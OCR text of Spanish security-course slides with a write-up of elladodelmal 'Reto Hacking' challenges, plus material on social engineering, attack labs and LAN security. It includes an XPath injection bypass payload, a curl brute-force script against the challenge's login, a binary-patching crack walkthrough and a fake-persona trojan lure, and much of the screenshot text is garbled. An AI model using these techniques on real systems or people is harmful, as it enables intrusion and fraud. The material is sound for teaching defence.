“XML Path” (o simplemente “XPath")
es el lenguaje utilizado para
acceder a la informacion de la DB

» Independiente de implementacion (en
SQL hay “dialectos”)

s No ACLs (Ien SQL hay permisos por
tablas, columnas, etc)



XPath Injection

Explotacion

» Dada la siquiente consulta Xpath:
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string(//user[username/text()=" romansoft ' and password/text()=" !dSR'])/uid/text())

J N\o

> 4

|
Ddénde buscar

» Inyectamos:

User: abc' or 1=1 or 'a'='b
Pass: k

» La condicion que

Condicioén

daria:

username/text()=‘abc' or 1=1 t|>r '

'='b ' and password/text()="k'

Qué devolver

True
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i Solucion Reto 1

%) Login - Mozilla Firefox

1|

Barcelona: 22 de Mavo
Mhadrid: 24 de Mavo
Huslva: 2% 3 de Junio

Pamplona: 28/5 al 31/5
Wizor 446 al 86 Mavo
Murcia: 0476 al 2246
Pamplonar 446 al /6
Tensrife: 1176 al 1546
Walladalid: 18/6 al 22/6
Barcelona: 25708 a 13507
Walencia: 247 al 2747

Informatica 64
El lado del mal
Hand:s On Lab:
“Wista Téenica

Ré_‘t_u Hacking |
Reto Hacking ||
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Reto 2. Tarjeta de coordenadas

rjeta - Mozilla Firefox

Erag YulnDE | B Ackual de P...
&
L
-

Cuenta A ol to & z Zre i Usmwario descomocido

Barcelona: 22 de Mavo
Aadrid: 24 de Mavo

Coordenada correspondiente a la fila 4 ¥ letra |

]

En

Pamplona: 28/5 al 3178
Wizor 446 al 86 Mavo
Murcia: 0476 al 2246
Pamplonar 446 al /6
Tenstife: 1176 al 1546
Walladalid: 18/6 al 22/6
Barcelona: 25708 a 13507
i@ 247 al 2747

Informatica 64
El lado del mal
Hands ©n Lab-
“ista Tecnica

Ré_‘t_l:l Hacking |
Reto Hacking Il
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i Control de acceso por Tarjeta de Coordenadas

> Si pudieramos fijar nosotros la coordenada
podriamos obtener la tarjeta de coordenadas
completa con tan s6lo 100.000 peticiones
(max.) mediante un atague de fuerza bruta:

» Coordenada mas alta es la 10-J (habria 100
coordenadas posibles)

» Cada coordenada son 3 digitos (1000 valores
posibles para cada coordenada)




www.francisco-valencia.es

i Control de acceso por Tarjeta de Coordenadas

> Pero lo anterior no es factible porque la
coordenada la escoge el servidor
aleatoriamente

> Por suerte, no necesitamos hallar la tarjeta
completa :-). Basta con “adivinar” el valor de

una coordenada cualquiera (1 posibilidad
entre 1000)

» Por tanto, la fuerza bruta es factible.
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Capturamos una peticion cualquiera...

(WebScarab)

ey - e | R
= WebScarab - conversation 17 |L“E"ZI
| Previous || Next || 17 - POST http:iretohacking3.elfadodelmal com:80banco/principal.aspx 200 OK -
Parsed m
Method URL Version
'PosT | hitp:siretohacking3 elladodelmal com:B0ihancalprincipal aspx | HTTRI11
Header | Walue
\Host retohacking3.elladodelmal.com
Lzer-Agent Mozillara 0 J(‘i-"-.l'ihq%'g' Jindows NT 5.1; es-ES; ne1.8.1.6) Geckol20070725 Firefo2.0.0.6
Accept tesdhaml,appl tiontml applicationtkbtmi+iml testhtmlg=0. 8 textiplain;g=0.8,imagefpng,~q=0.5
Accept-Language es-es,es,0=0.8.2n-us;g=0.52n0=0.3
AcceptEncoding azip,deflate
Accept-Charset 150-8559-1,u 0.7, %0=0.7
Keep-Alive 300
Proxy-Connection keeap-alive
Referar hitp:ifretohacking3.elladodelmal.comibancoiprincipal aspx
Cookie I P«SPSESSIONTD.CS_EIQRGA%:IO,J_FDHODI_DEIGCJF'F'OPEICOLJ-W;ASF‘.NET_SESSI'DnI_d:hmerr'\pvﬁﬁjeiqkh(llﬁihmaw;lASF‘XAUTHRETO:‘IIQE?_EBT'F905?35
ontent [ype applicationf-www-form-urlencoded =

Contentlength 514
B

-

[ URLEncoded

Variable Yalue
__EVERNTTARGET
_ EVENTARGUMENT -
YIEVISTATE SERDwULLTEXMlyMT G OTUPZEY CZ08kF gl CAwSkF alCAQAKFalC CABPFoleE1 Zpe2lib...

cll00F ContentFlaceHaolder! $tdEntrada GAA

ctlEiElﬁCDntentPIa’ceHoIder']$thntriar Enviar

__ EVERTWALIDATION IEWIC oLz ZCUDGLAdutAgLdEPydDwl 2w 38BAKZ 2vm 1 Cogkm 1 5hADGKEOK32Bwle. .
=

Yersion Status Message

HTTRI | 200 | oK |
Header | Vallue

Connection Keep-Alive =

Content-lenoth 16227 =
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Nos fijJamos en las cookies...

» “ASP.NET_SessionId” se mantiene constante mientras la sesion
no caduque

+ “,ASPXAUTHRETO"” cambia al poco tiempo

» Solucion: cur

“curl” es una herramienta que permite transferir archivos con sintaxis URL. Soporta FTP, HTTP, TELNET, LDAP, etc. y
certificados SSL.

# Netscape HTTP Cookie File
# http://lwww.netscape.com/newsref/std/cookie_spec.html
# This file was generated by libcurl! Edit at your own risk.

retohacking3.elladodelmal.com FALSE / FALSE 0 |(ASPXAUTHRETO J

BA8C218C366FEAS5832CA128AB1FOB966F92DBAABF2B342C4795334F2B093B9512DA0696306E327C
ABESAB78B5CB1AD3D60BBBA360B3BF5110E824A0556CA3005549015AF3FD47AAE27F1B3A2B32897
5718D6EESCEAA424523F0F855CD22F9C2D2177137A600ECDCA74D2976A6AND3D193

retohacking3.elladodelmal.com FALSE / FALSE O ASP.NET_Sessionld
nmerrw55jagkix45ihotf245 -

Fichero “ cookie¢”
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Automatizamos el ataque...

#!/bin/bash
# Reto lll de elladodelmal.com. (c) RoMaNSoFt, 2007.

#i# Variables

postdatal='...& VIEWSTATE-=...&ctl00%24ContentPlaceHolder1%24txtEntrada="
postdata2="'&ctl00%24ContentPlaceHolder1%24btEnviar=Enviar&...’
basefichero="brute"

cookies="cookies"

### Programa principal
c=0
foriin 'seq 1 50000 ; do
echo-n"$i"
p="printf "%03d" $¢
postdata="$postdatal$p$postdata2”
outfile="$hasefichero™'$i""_$p"
curl --silent --include --cookie "$cookies" --cookie-jar "$cookies"
"http://retohacking3.elladodelmal.com/banco/principal.aspx” --data "$postdata” > $outfile
c=$(($c+1))
if [ $¢c -gt 999 ] ; then
c=0

fi
Done

Script de fuerza bruta
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i ¢Queé hace el script anterior?

» Genera sucesivas peticiones HTTP (“curl”)
rellenando el formulario de control de

acceso de acuerdo a la captura anterior
(WebScarab)

> Guarda el resultado de cada peticion en
distintos ficheros: “brute<i>_<j>" (ej:
brute1002_33)
s | := numero de peticion/intento
+ j 1= valor que se ha probado
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Si inspeccionamos los ficheros creados...

[1] -rw-r--r-- 1 roman roman 12493 2007-09-23 20:41 brutel 000

[2] -rw-r--r-- 1 roman roman 12494 2007-09-23 20:42 brute54 053
[3] -rw-r--r-- 1 roman roman 12763 2007-09-23 20:53 brute737_736
[4] -rw-r--r-- 1 roman roman 418 2007-09-23 20:59 brute1148 147

Casos posibles

+ Casos 1 vy 2: nos pregunta por
otra coord.

+ Caso 3: idem pero ademas
envia cabecera:

+ Set-Cookie: .ASPXAUTHRETO-=...

» Caso 4: iéXitO! (18 minutos)

HTTP/1.1 302 Found

Connection: Keep-Alive
Content-Length: 138

Date: Sun, 23 Sep 2007 18:59:32 GMT
Location: /banco/faseFinal.aspx
Content-Type: text/html; charset=utf-8
Server: Microsoft-11S/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private

<htmI><head><title>Object
moved</title></head><body>
<h2>0Object moved to <a
href="/banco/faseFinal.aspx">here</a>
</body></html|>

.</h2>

Fichero “Brute1148 147"
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Reto 3: Codigo de activacion

%) Final - Mozilla Firefox

ARERLD

Home
anadores -

Uswario descomocido

El zsistema de segu'ﬁda_d hasido modificado, descargue el sisuiente Barcelonat 22 de Mayo

=alizar la operacion Madrid: 24 de Mayo

Pamplona: 2&/5 al 31756
Wigo: 46 al /6 Mavo
Murciar 04456 al 2246
Pamplonar 446 al 876
Tenerife: 11/6 al 1546
Walladolidi 18/6 al 22/6
Barcelana: 25/06 & 13707
ia: 2EF al2T T

Informatica 64
El lada del mal
Hands On Lab-
Wista Técnica

Reto Hacking |
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El generador de codigos de activacion

Descargamos el fichero .zip y
descomprimimos

Contiene un ejecutable:
“GeneradorCodigoActivacion.exe”.

Le pasamos AV (I!) y después
ejecutamos

Resulta evidente; este reto se centra
en el “cracking

Reto Hacking #3

X




www.francisco-valencia.es

Analizamos el ejecutable con PEID...

» Parece haber sido escrito directamente en
ensamblador:

» MASM32 / TASM32
» Lo cual facilitara la labor de “ingenieria inversa”

7% PED v0.94

Entrypoint: | 00001000

File Offset: | 00000400

Linker Info: |5,12 Subsystem:  |[Win3z GUI ﬂ
MASM32 [ TASM3Z
Multi Scan | Task Yiewer Options About | Exit |

EP Section: | kext b

First Bytes: |&n,00,E5,93 >

[w Skay on kop

FE PEID v0.94 Build Date: Maw 10, 2006, All rights reserved.,
e Signatures: 601

Authors
[ [ snaker ] [ Gwerkon ] [ Jibz ]
i \Websites o
Wy [ peid.hasic ] [ForRUMm [ peidforums. has.it ]

Coded in Visual C++ 7,10, Mo third party tools were harmed, |
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Nuestro plan...

1. Desensamblar y analizar el ejecutable

2. Buscar la rutina que muestra la ventana de “Datos
Incorrectos”

3. Encontrar el punto desde el cual se llama a dicha
rutina y ...

iParchearlo!
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Arrancamos nuestro debugger favorito: OllyDbg

oy
X

[€] File wiew Debug Plugins Options Window  Help -
Paced | BB x| w|I| e ¥[1E] W] i L]E[M[T|w]H|c[/|K]B|R][.-.[8] =[E]?]
Address |[Hex dump_ |Disassembly Comment

1111

)
()
()
)
1
[}
L
)
()
()
()

‘Addr Hex dump

Comnja‘nd ] I _Ll |
Program entiy point. |

<>
<>




www.francisco-valencia.es

Localizamos la rutina de “"Datos Incorrectos”

- [CPU - main thread, module Generado] |:|@||g]

Llamada rutina validacion TDisassembly Comment =
de user/pass =
T COADLA
Salto condicional a rutina “Datos A b g tDlgltem GetDls

Rutina “Datos Incorrectos” : L essageBox MessaageBoxA

)=, A1)
- Dlg et lg
P40 1296
DK (AL a
b
Addr{Hex dump = E]
» -

Cornmand : ] _V_! |

| Program entiy point. [ |




[CPU - main thread, module Generado]
ons  Window  Help

n| i 31 A =f L]
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Parcheamos el salto condicional hacia la rutina

CALL 2401239

JNZ SHORT ©@R4011A2
CALL <JMP. &user32.GetDlglt

CALL

CALL

JNZ SHORT @242121C

CALL <JMP.&user3Z2.GetDlglt|
CALL Pe4R1296
JNZ SHORT @R40811F8

Einary
Assemble
Label
comment
Breakpoint
Hit trace
Run trace

Edit Chrl+E

Fill with 00's
| Einary copy

3

{JMP. &user32.Enablelli

Follaw
Mew origin here
G0 to
Follow in Dump

Enter
Chrl+Gray *

r v

<JIMP. Guser32.Messageb;

Search For

Find references to
Wigw

Copy to executable
Analysis

r r vy

Detach Process

Process Patcher
Analyze This!

AsmzClipboard
Bookmark

Code Rippet

Data Ripper
Extralopy

Make Label

Dump debugged process

Olly Hiks Snake

Ultra String Reference

Appearance
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El salto condicional queda sustituido por NOPs

- [€PU - main thread, module Generado] |__||E||£J
[€] Fle wiew Debug Flugins Options Window  Help - & x

Passed [ BB x| w[l] s34 0] ] »f ©
Address |Hex dump_ il

AA40 = =
1% NOP
S NOP
D) = D1g = =+ ] g =
= e " | e - "= . - L)
= = o5 sageBo essageBoxA
ORT ©248
) = =+ )] o — =+ D1 o = =
PR401296
D ACAAD = bl
Addr Hex =] o]
£ ~

Cornrnand : I L‘ |
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Guardamos las modificaciones realizadas...

- [CPU - main thread, module Generado] Ell@gl

Flle View Debug Plugins Options  Window Help

Pared @4 X] ]I L‘Lf EHEHIRTI ﬂJ@jﬁﬁﬂﬁJﬁﬂﬁﬁﬂ (EE[E 2]
Address <

|2

Copy

: Einar k
CALL ©o481239 Undc-yselection Alt+BkSp

Y Assemble Space

NOP Lo

Zomment 3
Ereakpoint 3

CALL <JMP.&user32.GetDlgltem [k

Run brace

Mews origin here

—— TJMP. &user32.Enablelind TS
Copy selection to executable file |}{| Follow in Durp

Search For

Chrl+Gray *

Find references to

Yiew

Copy zelechon ho executable file’?

Guser32. MessageBox Selection

Copy I Copy all I Skip I Cancel I GpADIZI0 Detach Pracess

Process Patcher

Analyze This!
. AsmzClipboard ]
Bookmark 3
CALL <JMP.&user32.GetDlgltem :
’ Code Ripper
CALL 0401296 Data Ripper
Extrac ]
(N7 SHADT ARARA11ER T )
Make Label
Dump debugged process
Olly Hits Snake 3 Lo
Ultra String Reference 3 et
Command ; ! :.i | Appearance 3 l

Program enty pairit [ ]
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... Y lo salvamos a un nuevo fichero (crackeado)

Save data to file

Documentos
recientes

Ls

E scritorio

Mis documentos

&

=
=
]

Wiz zitios de red

Guardar en; IE} informaticatd-retol||

« & ¥ B~

ICybruke

Cibrute_ OLD

ECDpia de GeneradorCodigofctivacion. exe
EGeneradorCodigo.ﬂctivacion.exe
EGeneradorCDdign.ﬂctivacionCracked.exe

Hombre:

|G eneradorEDdigu’-‘«ctivaci:tlzrac:ked.j:-:e

:] Guardar I

Tipo: IE:-:ecutabIe file [* exe)

1

Cancelar I

kup
Copy
Binary

Assemble
Search for 3
Save file

G to offset

Chrl+G

Wiew image in Disassembler

Hex 3
Texk 3
Short 4
4
L

Long
Float
v Disassemble
Special

Data Ripper

Appearance

.GetDlgltem GetDlgltemTextA

—
|/ Frogram entw point
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i Probando nuestro ejecutable “"crackeado”

s Escribimos un user/pass
cualquiera. Ej: a/a m—
- Click en “Validar”. Vemos que el BANK
boton de “Generar codigo de =
activacion” se activa |

e CIiCk en diChO bOtO,n y... | 1601 - -5 55-4c 427520625

GEWERAR CODIGO DE ACTIMACION

B Reto Hacking #3

iEl codigo es nuestro!
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Introducimos el codigo y...

%) Final - Mozilla Firefox

ARERLD

Home
anadores -

Uswario descomocido

El zsistema de segu'ﬁda_d hasido modificado, descargue el sisuiente Barcelonat 22 de Mayo

fichero para realizar la operacion fhadrid: 24 de Mawvo

Pamplona: 2&/5 al 31756
Wigo: 46 al /6 Mavo
Murciar 04456 al 2246
Pamplonar 446 al 876
Tenerife: 11/6 al 1546
Walladolidi 18/6 al 22/6
Barcelana: 25/06 & 13707
ia: 2EF al2T T

Informatica 64
El lada del mal
Hands On Lab-
Wista Técnica

Reto Hacking |
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iReto superado!

ARERLD

Home
anadores -

Uswario descomocido

Barcelona: 22 de Mayo
Madrd: 24 de @havo

Mombre |RD."I.I'\aNSOFt

Al | Pamplona: 2&/5 al 31756
Wigo: 46 al /6 Mavo
fMurciar D406 al 2246
Pamplonar 446 al 876
Tenerife: 11/6 al 1546
Walladalid: 1878 al 22/6
Barcelona: 25/06 a 13507
ia: 247 2l 2747

Procedimiento

Informatica 64
El lada del mal
Hands On Lab-
Wista Técnica

Reto Hacking |
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i Conclusiones

Conclusiones:

» ¢Metodologia? OWASP, OSSTMM, ISSAF... pero al final...
"Cada maestrillo tiene su librillo”

+ Ingredientes para un buen “pen-tester”:
» 40% - Conocimientos “basicos” (tecnologias, protocolos,
programacion)
» 30% - Hacking “skills” (técnicas, vulnerabilidades, herramientas)
» 30% - Capacidad de analisis, improvisacion, ingenio, creatividad ...
ipaciencia!

¢A que no era tan dificil? ;-)



Ingenier ia social

Introduccion y conceptos de seguridad
Ataques en los sistemas TIC
Seguridad en entornos WEB
Ingenieria Social

1. Busqueda de informacion
2. Ingenieria social
3. Localizacién de un un ataque
4. SPAM

5. PHISHING
6. PHARMING
7

8

9

1

Estafa Nigeriana
Otros ataques de Ingenieria social
. Un engafio comun
0. Medios para combatir la Ingenieria Social

Practica: Atagues basicos

Seguridad en Redes de Area Local

Practica: Implementacion de seguridad en redes LAN
Seguridad Perimetral

Practica: Implementacion de politicas de seguridad Perimetral
. Infraestructuras de clave publica

. Introduccion a LDAP

. Seguridad en Comercio Electronico

. Gestion de la seguridad

. Plan Director de Seguridad

. Examen CompTIA Security+

www.francisco-valencia.es




www.francisco-valencia.es

i Blsqueda de informacion

Vivimos en la sociedad de la informacion
1Si alguien tuviera toda la informacién de un sector, dominaria ese sector
CJEs tan importante que yo tenga informacién como el que asegure que mi competencia no la tiene

INo es solo la competencia quien supone un riesgo:

Mis clientes desearian tener toda la informacién de mis procesos internos para saber si mi
empresa es la mejor para ellos o no.

IMis proveedores emplearian la informacién para conocer mis debilidades y conducirme hacia sus
propios intereses

Jincluso es peligroso que mis empleados tengan toda la informacién de la compaiiia.
(JSe crean y se destruyen negocios y empresas soélo por disponer o no disponer de informacién
(JCada vez es mas facil acceder a la informacién que nos ayuda conseguir informacion

JEs el bien mas preciado de una organizacion, depende de ella, mas que de su cadena productiva

79
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i Blsqueda de informacion

JAntes, la informacion de la empresa estaba contenida exclusivamente en grandes sistemas
informaticos centralizados (mainframe).

(JAhora, cada empleado tiene a su alcance informacion critica para la compafiia, y ademas necesita
llevarla consigo.

JAntes, el mercado era menos competitivo, y habia menos interés por obtener informacion de la
empresa

JAhora, la competencia, los clientes y los proveedores, haran todo lo que esté a su alcance para
obtener esa informacion.

JAntes, esa informacién no estaba protegida legalmente

(JAhora se aplican sanciones millonarias por descuidar la seguridad de determinada informacion
LlLey organica de proteccion de datos de caracter personal (LOPD)
L Directiva comunitaria relativa a los ataques contra los sistemas de informacion
Ll Sarbanes-Oxley (SOX)
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i Blsqueda de informacion

Los hackers, que antes generaban ataques de DOS para divertirse, tienen ahora elevados intereses
econdmicos:

JSon contratados por empresas para recabar informacion de sistemas de sus clientes,
proveedores, competidores, amenazas...

JEllos mismos buscan su propio interés (quitarse una multa, obtener un servicio sin pagar por él...)

JVenden listados con direcciones de correo electronico, datos personales, o de empresa, etc
principalmente a agencias publicitarias no del todo “licitas”

CLa informacién, como se ha visto, residen muchas veces en sistemas informaticos. Ya no interesa
perder el tiempo en buscar una solucion tecnoldgica que nos permita acceder a ella. Hay métodos mas
sencillos

JEstos métodos mas sencillos pasan por vulnerar el sistema mas vulnerable de todos los que existen:
El ser humano. Se emplean trucos, mentiras, trampas y enganos para convencer a un humano a que
nos de la informacién que necesitamos (primera persona)

1Se usan las mismas técnicas en procesos de venta, en ataques a terceros, en lo que sea

JEsto se llama Ingenieria Social

81
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i Ingenieria social

() Para incrementar la seguridad en la red, podremos instalar en ella:

Firewalls

Antivirus

Sistemas de deteccion y proteccidon contra intrusos
Criptografia, cifrado

Autenticacion fuerte, biometria

Etc...

DOooDO00D0

) ... pero lo Unico que realmente necesita un hacker para lograr sus objetivos es una persona
desprevenida para acceder sin problema a la informacion buscada.

] La Ingenieria Social se basa en cuatro verdades de la condicién humana:

) Todos queremos ayudar

1 El primer movimiento es siempre de confianza hacia el otro
J No nos gusta decir No

J A todos nos gusta que nos alaben
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i Localizacion del ataque

Los atagues producidos por ingenieria social son muy dificiles de localizar e identificar su fuente, ya
gue el atacante se ha aprovechado de la voluntad de una persona, haciendo lo que podriamos llamar
“human spoofing”

(IDe este modo, se detecta que un porcentaje importante de los ataques en los Ultimos afios, se
producen desde el interior de la red, por personas autorizadas para ello.

Las soluciones pasan por:

JAutorizar a muchas menos personas, siguiendo el concepto de “solo lo saben los que realmente
tienen necesidad de saberlo”

JRealizando camparias de sensibilizacion

JAsegurando las comunicaciones entre estas personas y el atacante, mas que entre el sistema
atacado y ellas.

1Se requiere el uso de soluciones basadas en andlisis heuristico, estadistico, experimental, de
analisis de contenido, etc... aunque cada vez son mas sofisticadas y mas eficaces

¢ Cémo se puede convencer a un usuario de que te de sus claves de acceso a su aplicacion bancaria,
por ejemplo?
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(JTécnica de envio masivo de mensajes, habitualmente
publicitarios, a diferentes medios (correo electronico, mensajes
de moviles, FAX, etc)

1Se basa en la estadistica. Si se mandan miles de millones de
mensajes con un contenido publicitario, es muy probable que
alguien (de echo mucha gente) estudie el correo, e incluso que
adquieran el producto anunciado

(INo solo son correos publicitarios. Ideas politicas, religiosas,
asociaciones y plataformas en busqueda de socios 0 apoyo
social, mensajes en “cadena” a la caza de direcciones de
correo validas, etc. Cualquier cosa sirve, ya que el coste de la
“campafa publicitaria” es muy bajo.

INo es peligroso en si mismo para el usuario, pero si para los
servidores de correo que gestionan buzones, por su carga de
consumo malgastada en la gestion de correos basura.

(JPara el usuario, desde luego es un efecto molesto, en
ocasiones hace inservible la cuenta de correo si ho se aplicarg34
medidas
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PHISHING

JEIl phishing es la técnica empleada para lograr informacion
confidencial de la persona atacada (passwords de acceso a
sistemas, principalmente, pero no exclusivamente)

(JEsta informaciéon suele ser empleada para realizar ataques
economicos (si roban las passwords de acceso a un banco, por
ejemplo) o vendida (datos sociales como religion, sexo, condicidon
politica, situacién econdémica, otros datos demograficos, etc)

(JLos datos los compran agencias de publicidad, para la realizacion
de estudios de mercado (aunque es ilegal), y otras “empresas” para
el lanzamiento de SPAM.

LJEI atacante, se hace pasar por una entidad de confianza, y suele
iniciar el ataque con un SPAM. Por ejemplo, se recibe un correo
electronico que ice “aproveche la gran oferta que su banco le hace.
Haga click aqui” (www.cajademadrid.es)

[lLa pagina visitada es idéntica a la original (www.cajamadrid.es). El
usuario no percibe la diferencia, y mete sus passwords de acceso,
siendo capturadas por el atacante.
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= PHARMING

JAtaca a los DNS’s para que todas las
peticiones realizadas a un servidor
seguro sean desviadas a otro lugar,
que simula ser el original.

Attacker Fake Ehsim Captura todos los datos solicitados
o www.nlcebank.com por la entidad, puede evolucionar a
Man In the middle, de modo que

capture datos de manera transparente

~ . y solo los utilice cuando tenga cierta
\ \. cantidad, o cuando ha tratado de
= 9 A acceder al sistema la persona que se
mﬁ o \\1 pretende atacar (raras veces)
s N

\/ e \/ JEs muy dificl de detectar y de
DNS Server Website combatir. El ataque puede hacerse a
(Local or ISP) 9 www.nicebank.com varios DNS'’s, quienes lo publicaran a
los de menor nivel hasta que los de
mayor nivel les vuelven a actualizar.
How Pharming Si se ataca al DNS propietario del
Works dominio, el ataque es mundial e
indetectable a simple vista hasta que
se comprueben sus efectos.

User
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ESTAFA NIGERIANA

lLa estafa nigeriana consiste en un estafador que obtiene dinero de la victima en concepto de adelanto a cuenta de
una supuesta cantidad millonaria de dinero que se le ha prometido.

] Existen muchisimos argumentos y variantes de la estafa, pero todos ellos tienen en comun la promesa de participar
en una gran fortuna, en realidad inexistente, asi como también existen diversos trucos para que la victima pague una
suma por adelantado como condicién para acceder a cierta fortuna.

lLa justificaciéon generalmente es la de una millonaria herencia vacante que la victima adquirird, una cuenta bancaria
abandonada, una loteria millonaria que la victima ha ganado, un contrato de obra publica, o simplemente de una
gigantesca fortuna que alguien desea donar generosamente antes de morir. Aunque las anteriores son las
justificaciones méas famosas, existen un enorme numero de diferentes argumentos que dan origen a la existencia y
donacion de la suma millonaria. Algunos sostienen que la excusa de la loteria es la mas comun de todas.

1 Este fraude esta hoy especialmente extendido a través del correo electrénico no solicitado

LIEIl trato propuesto se suele presentar como un delito inocuo con el fin de disuadir a los inversores de llamar a las
autoridades.

1A quien acepte la oferta, los timadores le enviaran algunos documentos (casi siempre archivos graficos adjuntados a
mensajes de correo electronico) con sellos y firmas de aspecto oficial. A medida que prosiga el intercambio, pronto
se le pedird que envie dinero o viaje al exterior para entregarlo personalmente, para hacer frente a supuestos
honorarios, gastos, sobornos, impuestos o comisiones. Se van sucediendo excusas de todo tipo, pero siempre8§e
mantiene viva la promesa del traspaso de una cantidad millonaria.
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Otros ataques de Ingenieria social

CLlamadas de teléfono, correos electronicos mensajes a movil, etc, simulando ser el administrador del
sistema que se pretende atacar (el banco, la tarjeta de crédito, el administrador de sistemas de la empresa,
el dependiente de la tienda donde compraste el televisor, el jefe del restaurante donde vas a celebrar el
bautizo de tu hijo, el hospital, etc. etc. etc.)

(JRegalos publicitarios a cambio de informacién. Sorprendente: en una encuesta realizada por la empresa
Infosecurity, el 90% de los empleados de oficina de la estacién Waterloo de Londres reveld sus contrasefias
a cambio de un boligrafo barato.

(JOtros incluyen llaves USB con un troyano cargado. ¢ Cuanto tiempo se tarda en meter en el PC?

(JSoftware que se instala a al vez que otro, para lo cual se pide consentimiento al usuario. Junto con
Messenger Plus se instala, autorizado por el usuario, un adware que muestra publicidad de varias
empresas. La inmensa mayoria de los usuarios acepto su instalacion (siguiente, siguiente, siguiente...)

(JAplicaciones de envio de postales, regalos, avisos, etc. a tus contactos, incluso con indicacién expresa de
gue loa informacion sera empleada para el envio y que, en nombre del afectado y de acuerdo con el,
consientes tal uso

CLlamadas a nimeros 903,804,805,606, etc. Programas televisivos fraudulentos, etc.
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Un engaifho comun

) Nos damos de alta una cuenta en hotmail, con nombre de chica

(J Creamos un perfil curioso

(J Entramos a los chats y damos nuestro mail

() Somos la tipica nifia que recién se compré el ordenador y necesita ayuda

() Damos confianza, y aumentamos el ego de la victima al ponerlo en el papel de nuestro salvador, si le
afiadimos dulces piropos y besos virtuales, en cuestion de tendremos lo que buscamos

] Estaremos en condiciones de enviarle un troyano que nos abra de par en par su ordenador, una vez
conocido su sistema.
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Medios para combatir ataques por IS

CONTRA INGENIERIA SOCIAL
Formacion al usuario

Concienciacion

Campanas preventivas

Dar a cada usuario SOLO lo que de verdad necesite para realizar su trabajo

Existen sistemas que permiten detectar un fraude de pharming o phishing, pero
son del todo insuficientes
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Practica: Atagues b asicos

Introduccion y conceptos de seguridad
Ataques en los sistemas TIC
Seguridad en entornos WEB
Ingenieria Social

Practica: Ataques basicos

1. PRACTICA 1: Sniffing the network
7. PRACTICA 2: Busqueda de vulnerabilidades
3. PRACTICA 3: ARP Spoofing

Seguridad en Redes de Area Local
Practica: Implementacion de seguridad en redes LAN
Seguridad Perimetral
Practica: Implementacion de politicas de seguridad Perimetral
lO Infraestructuras de clave publica
11. Introduccion a LDAP
12. Seguridad en Comercio electronico
13. Gestion de la seguridad
14. plan Director de Seguridad
15. Examen CompTIA Security+
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PRACTICA 1. Sniffer

] Obijetivo:
() Obtener del PC atacado su password de acceso a un servidor FTP
() Obtener del PC atacado una conversaciéon MSN Messenger

] Escenario:

J El hacker se encuentra en la misma red que el atacado, o ha logrado el control de una maquina
ubicada en la misma red

] Se trata del mismo dominio de colisidn, es decir, la red esta basada en HUBS

] Preparacion:
] Instalamos un servidor FTP en un PC (puede ser de la red o externo)
) Instalamos el cliente de MSN Messenger en el PC atacado
] Instalamos el Sniffer en el PC del atacante

J Operativa:
) Mientras la victima accede al servidor FTP y al Messenger, analizamos su trafico para localizar su
actividad.
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PRACTICA 2. Bisqueda de vulnerabilidades

] Obijetivo:
J Conocer qué sistemas tiene un PC concreto (la victima)
(J Encontrar vulnerabilidades de las aplicaciones instaladas

) Escenario:
() El PC a atacar es un servidor de determinadas aplicaciones (consola, ficheros, FTP, WEB, etc)

) El hacker quiere lograr informacion del servidor, las aplicaciones que tiene arrancadas, y buscar la
forma de atacarlas.

) No es necesario que se encuentren en la misma red.

- Preparacion:
() Instalamos en la victima un servidor FTP, un servidor WEB, y activamos algunos servicios
] Instalamos en el hacker un software de port scaning

J Operativa:

(] Se ataca a la victima as través de varios puertos, para comprobar la informacién que con ello se
obtiene.
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PRACTICA 3. ARP Spofing

] Obijetivo:
) Analizar toda la red y conocer sus maquinas, direcciones Mac y direcciones IP
] Conocer todo el trafico de la misma, con un entorno de switches en medio

] Escenario:
] Una red de switches con varios PC’s, uno de ellos es el hacker.
1 En la red hay un router que conecta con Internet
1 El hacker quiere lograr informacion de todo el tréfico de la red

] Preparacion:
] Las victimas navegaran tranquilamente por Internet, usaran sus aplicaciones, etc.
] Instalamos en el hacker un software de sniffer
] instalamos en el hacker un software de ARP spoofing

J Operativa:
) Primero analizaremos la informacion de la red. Después iniciaremos el ataque.
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Seguridad en redes LAN

Introduccion y conceptos de seguridad
Ataques en los sistemas TIC
Seguridad en entornos WEB
Ingenieria Social

Practica: Ataques basicos

Seguridad en Redes de Area Local

Seguridad en el modelo jerarquico
Segmentacion (VLANS)

VLAN estaticas y dinamicas

VTP

Trunks ISL, IEEE 802.1q

VTP prunning

Permiso de acceso a la red (IEEE 802.1x)
Inter VLAN routing
Policy-BasedRouting (PBR)

NAT

Passwords de administracion

1.
2.
S
4.
S
6.
7.
8.
Sk

el
N E o

Password recovery
Seguridad fisica de los elementos de la red
Control de acceso

[P0 S SN
o~ w

Listas de acceso
AAA (RADIUS)
One Time Password

[T S S
© N

Desactivar servicios innecesarios

Practica: Implementacion de seguridad en redes LAN

Seguridad Perimetral

Practica: Implementacion de politicas de seguridad Perimetral
Infraestructuras de clave publica

Introduccién a LDAP

Seguridad en el Comercio electrénico

Gestion de la seguridad

Plan Director de Seguridad

Examen CompTIA Security +
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i Modelo jerarquico de red

Acceso
]
y—=
]
Distribucion

96



www.francisco-valencia.es

i Capa de acceso

Punto de acceso a la red

Se aplican politicas de seguridad de niveles 1y 2
Desactivacion y desconexion interfaces no usados
Filtrado MAC (PORT SECURITY)

Asignacion de VLAN

Access Layer

=

97
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Port Security

4

A

Unauthorized
MAC Address.
Access Denied

0010.f6b3.d000

Port security is a MAC address lockdown that
disables the port if the MAC address is not valid
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i Capa de distribucion

Punto de agregacion de todo el trafico

El routing entre VLAN se realiza en esta capa

Se aplican politicas de seguridad de niveles 3y 4
Listas de acceso de routing y trafico

InterVLAN routing

Distribution Layer
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i Capa de distribucion
N

| What traffic
\What resources/ IS allowed out

routes are sent of the switch
to the core? block?

» A good policy at the distribution layer ensures that other blocks

are not burdened with traffic that has not been expli citly permitted
100
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i Capa de core

Su mision es realizar el transporte de
comunicaciones tan rapido como sea posible

No se deben aplicar ningun proceso al trafico

Por tanto, tampoco seguridad

Core Layer
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Politicas de acceso en cada capa

........... s

Access Layer Policy

Distribution Layer Policy

No Policy

WAl Y
2 o

Core
Block

Distribution Layer Policy

Mainframe Block

Server
Block

Access Layer Policy

102
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i Hubs vs Switches

RZANS

Dominio de colision

N
\
= 4

Dominio de broadcast

-

cisco-valencia.es
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i Dominio de broadcast
=
5 58 55

En una red plana, todos los dispositivos pueden (y
deben) leer y analizar todas las tramas que se
envian en la misma, incluso si no van dirigidas a

ellos




www.francisco-valencia.es

i Virtual LAN (VLAN)

